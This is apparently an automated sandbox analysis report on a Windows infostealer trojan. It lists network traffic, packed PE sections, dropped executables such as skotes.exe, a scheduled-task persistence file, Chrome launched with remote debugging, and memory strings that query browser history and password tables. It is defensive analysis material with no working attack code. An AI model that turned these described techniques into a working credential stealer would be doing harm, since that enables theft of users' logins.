Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.150.243:443 -> 192.168.2.4:49856 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: section name:
Source: DocumentsIIEBKJECFC.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: section name:
Source: 70XXT0BM2TDFAKTXCB0ILV78JWN4.exe.13.dr	Static PE information: section name: .idata
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: section name:
Source: Q10LTOCEFP0KA6N46594D.exe.17.dr	Static PE information: section name: .idata
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: section name:
Source: TMZOGPKAQROXKZACD6GWC5N6Z.exe.23.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C5FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C63B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C63B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C63B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5DF280

Source: C:\Users\user\DocumentsIIEBKJECFC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D35A0	0_2_6C5D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5440	0_2_6C5E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64545C	0_2_6C64545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64542B	0_2_6C64542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64AC00	0_2_6C64AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615C10	0_2_6C615C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622C10	0_2_6C622C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD4D0	0_2_6C5FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616CF0	0_2_6C616CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E64C0	0_2_6C5E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD4E0	0_2_6C5DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6334A0	0_2_6C6334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C4A0	0_2_6C63C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6C80	0_2_6C5E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FED10	0_2_6C5FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EFD00	0_2_6C5EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600512	0_2_6C600512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6385F0	0_2_6C6385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C610DD0	0_2_6C610DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646E63	0_2_6C646E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9E50	0_2_6C5F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4640	0_2_6C5F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622E4E	0_2_6C622E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC670	0_2_6C5DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C613E50	0_2_6C613E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639E30	0_2_6C639E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C625600	0_2_6C625600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C617E10	0_2_6C617E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6476E3	0_2_6C6476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DBEF0	0_2_6C5DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EFEF0	0_2_6C5EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634EA0	0_2_6C634EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5E90	0_2_6C5F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E680	0_2_6C63E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9F00	0_2_6C5E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C617710	0_2_6C617710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606FF0	0_2_6C606FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DDFE0	0_2_6C5DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6277A0	0_2_6C6277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8850	0_2_6C5F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD850	0_2_6C5FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F070	0_2_6C61F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B820	0_2_6C61B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624820	0_2_6C624820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7810	0_2_6C5E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6158E0	0_2_6C6158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6450C7	0_2_6C6450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC0E0	0_2_6C5FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6060A0	0_2_6C6060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B970	0_2_6C62B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B170	0_2_6C64B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA940	0_2_6C5FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED960	0_2_6C5ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D9B0	0_2_6C60D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615190	0_2_6C615190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C632990	0_2_6C632990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC9A0	0_2_6C5DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619A60	0_2_6C619A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61E2F0	0_2_6C61E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618AC0	0_2_6C618AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1AF0	0_2_6C5F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604AA0	0_2_6C604AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642AB0	0_2_6C642AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ECAB0	0_2_6C5ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64BA90	0_2_6C64BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22A0	0_2_6C5D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5340	0_2_6C5D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC370	0_2_6C5EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D320	0_2_6C61D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6453C8	0_2_6C6453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DF380	0_2_6C5DF380
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_00388860	9_2_00388860
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_00387049	9_2_00387049
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_003878BB	9_2_003878BB
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_003831A8	9_2_003831A8
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_00344B30	9_2_00344B30
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_00382D10	9_2_00382D10
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_00344DE0	9_2_00344DE0
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_00377F36	9_2_00377F36
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_0038779B	9_2_0038779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E578BB	10_2_00E578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E58860	10_2_00E58860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E57049	10_2_00E57049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E531A8	10_2_00E531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E14B30	10_2_00E14B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E14DE0	10_2_00E14DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E52D10	10_2_00E52D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E5779B	10_2_00E5779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E47F36	10_2_00E47F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: String function: 003580C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C60CBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00E280C0 appears 130 times

Source: file.exe, 00000000.00000002.2190284321.000000006C855000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2186074735.0000000023173000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIP; vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: sgoicwpi ZLIB complexity 0.9949636104441777

Source: accd68d705.exe, 00000012.00000002.2665613882.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: C.vBP

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@46/46@7/9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C637030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C637030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0HEDYG0F.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6028:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\DocumentsIIEBKJECFC.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM moz_places LIMIT 1000;Liq
Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2190107334.000000006C80F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2003083223.000000001D035000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2406740517.0000000005C56000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 0000000D.00000003.2407035686.0000000005C3A000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542052712.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2542575605.00000000057CA000.00000004.00000800.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2808234244.0000000005574000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2189508620.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2178846824.000000001D13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2140,i,7468167225863871419,6688066973538653544,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIEBKJECFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
